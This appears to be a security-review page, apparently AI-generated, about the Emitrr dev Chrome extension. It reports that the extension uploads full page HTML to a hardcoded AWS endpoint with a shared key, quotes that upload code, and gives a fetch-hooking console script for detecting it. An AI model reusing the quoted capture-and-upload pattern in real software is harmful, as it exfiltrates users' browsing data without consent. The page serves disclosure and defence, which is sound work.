Is Emitrr dev safe?
Emitrr dev sends full page HTML to a third-party AWS endpoint when its contact scanner can't match a name, on any site you visit.
On every page load, Emitrr dev's content script scans for phone numbers and tries to match the page against bundled HubSpot/Quest CRM contact layouts. When no name is matched — the common case outside those two sites — it captures the entire page's HTML and uploads it, along with a URL-derived slug, to a hardcoded AWS API Gateway endpoint using a static shared API key. Separately, the extension listens for page messages without checking their origin, so an embedded script or iframe on any site can force a sign-out or control an active VOIP call.
Who publishes itEmitrr - no other listings under this identity, 4 shared hostnames
Emitrr - no other listings under this identity, 4 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 4 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Emitrr uploads full page HTML from ordinary sites to a shared AWS endpoint
Code analysis shows Emitrr's content script, which runs on every website, uploads a page's full HTML to a hardcoded AWS endpoint whenever its built-in HubSpot/Quest name parsers fail to match, using one static key shared by every install.
What actually happens
You browse to a webpage that has a visible phone number and isn't laid out like a HubSpot or Quest/expresspros contact record.
The extension reads the page's complete HTML and uploads it, with a URL-derived filename, to a hardcoded AWS endpoint.
This runs automatically as part of the page scan; there is no prompt naming the destination.
The code that does this
Fallback HTML capture (content script) and the upload call (background worker)
Content script, formatted
contentScript.js:8561-8571case "findPhoneNumbersFromWebpage": { const e = Ee(document.body); Object.keys(e).some((t => e[t].name)) || function() { var e, t, n; const r = document.documentElement.innerHTML, i = (/* derive hostname (unused) */ (window?.location?.href) && window.location.href.split("?")[0] ).toLowerCase().trim() .replace(/[^\w\s-]/g, "-") .replace(/[\s-\/]+/g, "-") .replace(/^-+|-+$/g, ""); chrome.runtime.sendMessage({ message: "submitToParser", value: { html: r, slug: i } }, (e => e)) }(); chrome.runtime.sendMessage({ message: "findPhoneNumbersFromWebpage", value: e }, (e => (B(), e)))}break;Background worker, formatted
background.js:1179-1198t.uploadHelper = async (e = "", t) => { try { if (e) { const o = (new TextEncoder).encode(e), n = new Date; n.setHours(0, 0, 0, 0); const r = `https://ui9jtvr5bk.execute-api.us-east-2.amazonaws.com/staging/${n.toISOString()}/chrome_extension_html/${t}.html`, i = await fetch(r, { method: "put", headers: { "Content-Type": "text/html", "x-api-key": "<redacted>" }, body: o }); return !!i?.ok || `HTTP error! status: ${i.status}` } } catch (e) { console.error("Error:", e) }},What the PUT request carries
- Full page HTML<html><body>...contact section with a name and phone number...</body></html> (illustrative)
The complete rendered HTML of the page open in the tab, including any visible text, form fields, or account details rendered there.
- Page URL, as a slughttps://example.com/contact-us (illustrative) becomes slug "https-example-com-contact-us"
The page's URL, minus the query string, lowercased and turned into a filename-safe string.
- Upload date folder2026-09-19T00:00:00.000Z
The calendar date, used as a folder name so uploads group by day.
- Shared API keyx-api-key: <redacted>, identical across installs
One static key, embedded in every copy of the extension, authenticates the upload; it is not scoped per install or per user.
Where the page HTML goes
- ui9jtvr5bk.execute-api.us-east-2.amazonaws.com
AWS API Gateway endpoint that receives the uploaded page HTML via HTTP PUT; not disclosed as a destination in the extension's stated click-to-call/CRM purpose.
Check if you're affected
Hooks window.fetch in the page console to flag any request to the AWS endpoint this claim names, so you can check for yourself whether it fires while browsing.
- Chrome DevTools
- Emitrr extension installed and enabled
(function () { const target = "ui9jtvr5bk.execute-api.us-east-2.amazonaws.com"; const origFetch = window.fetch; window.fetch = function (input, init) { const url = typeof input === "string" ? input : input && input.url; if (url && url.indexOf(target) !== -1) { console.warn("[emitrr-html-upload-watch] request to", url, init); } return origFetch.apply(this, arguments); }; console.log("[emitrr-html-upload-watch] Hooked fetch(). Browse to a page with a visible phone number that isn't a HubSpot/Quest contact page and watch this console.");})();- 1Open DevTools console on any tab.
- 2Paste and run this script.
- 3Navigate to a page with a visible phone number, not a HubSpot/Quest contact page.
- 4Watch for a logged request to the AWS endpoint.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Emitrr dev contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ui9jtvr5bk.execute-api.us-east-2.amazonaws.com
Emitrr dev sends data to ui9jtvr5bk.execute-api.us-east-2.amazonaws.com. No other extension we have analyzed sends data here.